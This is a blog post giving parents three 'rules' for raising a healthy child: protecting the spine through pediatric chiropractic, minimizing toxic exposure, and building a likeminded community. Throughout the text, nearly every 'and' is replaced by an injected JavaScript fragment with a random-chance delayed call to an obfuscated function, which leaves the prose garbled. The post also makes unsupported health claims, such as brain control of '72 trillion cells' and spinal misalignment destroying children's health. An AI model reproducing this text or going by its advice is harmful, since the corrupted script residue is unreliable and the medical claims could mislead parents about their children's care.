3 Crucial Steps to Raising a Healthy Child

Posted On : June 15, 2015

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A healthy life starts with understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding that our bodies are powerful. If the day your child was born, your pediatrician came to you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and said “Your child has an amazing healing power inside of him. Your job is to grow that power. Keep it free from interference. Don’t damage it by adding unnecessary chemicals. Feed them healthy foods that will cause this wisdom to only get stronger. Honor & understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this wisdom. Learn all you can about your child’s body. Learn to read the signs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and symptoms it gives you. Health is the most important gift you can give this child. Protect it andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and never keep your eye off it.”

Would you look at your child’s health differently? Would you think more about the foods, drugs, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and chemicals that go into it? Would you give as much attention to growing your child’s health as you do teaching him how to read?

Unfortunately we live in a world that teaches us to only care about our health when symptoms appear. We are taught to take a pill to make the symptoms go away. No one teaches us about this inner wisdom andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what we can do to protect it. So where do you start? What rules can you follow?

The following are three crucial rules you can take to turn your child’s inner wisdom on.

PROTECT HIS NERVOUS SYSTEM

With advances in neuroscience we now know that the brain has control over 72 trillion cells in our bodies. These cells are sending life sustaining information to the brain every second of the day. When the brain receives this information it determines what cells need repair, which cells are functioning normally, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what cells are no longer doing their job. The only way that the brain can gather this information is through the spinal cord andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nervous system. It is also the only way the brain can transport information to the organs to tell them to function normally. Our spinal cord andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nerves are the information highway of the body. Anything that damages the spinal cord andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nerves, decreases the brains ability to properly coordinate the body. This system is so important that your child has been given a body armor to protect it. It’s called their skull andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spine. Anything that destroys this structure, destroys the brains ability to do its job. Make sure their spine has the proper curves in it. Don’t let the spine get misaligned. Take care of his spine as seriously as you do their teeth. Have them checked by a chiropractor who works with children andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and knows how devastating a damaged spine can be to their health.

MINIMIZE HER TOXIC EXPOSURE

You are raising a child in a VERY toxic world. Learn all you can about the medications, foods, lotions, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cleaning products that your child might come in contact with. Minimize their exposure. Learn to read labels. Download the skin deep app andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and learn which chemicals in her lotions are damaging. I know it’s hard to know everything that might destroy your child’s health.  But do your best. Keep asking questions.

SURROUND YOURSELF WITH A LIKEMINDED COMMUNITY

As your child grows, look at the community that surrounds them. Do they value health? Do they make health a priority? Do they ask questions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stay on a quest to learn as much as they can? It’s hard to raise a healthy child in an unhealthy community. Create a health support system of doctors, friends, family that are all cheering you on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are dedicated to you raising a healthy child.

As a parent, our job is to keep learning. Don’t beat yourself up. Never take your eye off your child’s health. Teach them to make health a priority. I know it can be hard. The world wants to tell you that things like getting straight A’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and getting into the best schools are the MOST important things in life. Don’t lose site that the one thing that destroy a successful life quicker than anything is a health problem. Be your child’s greatest health teacher andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you will assure they will live a healthy, happy, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and successful life.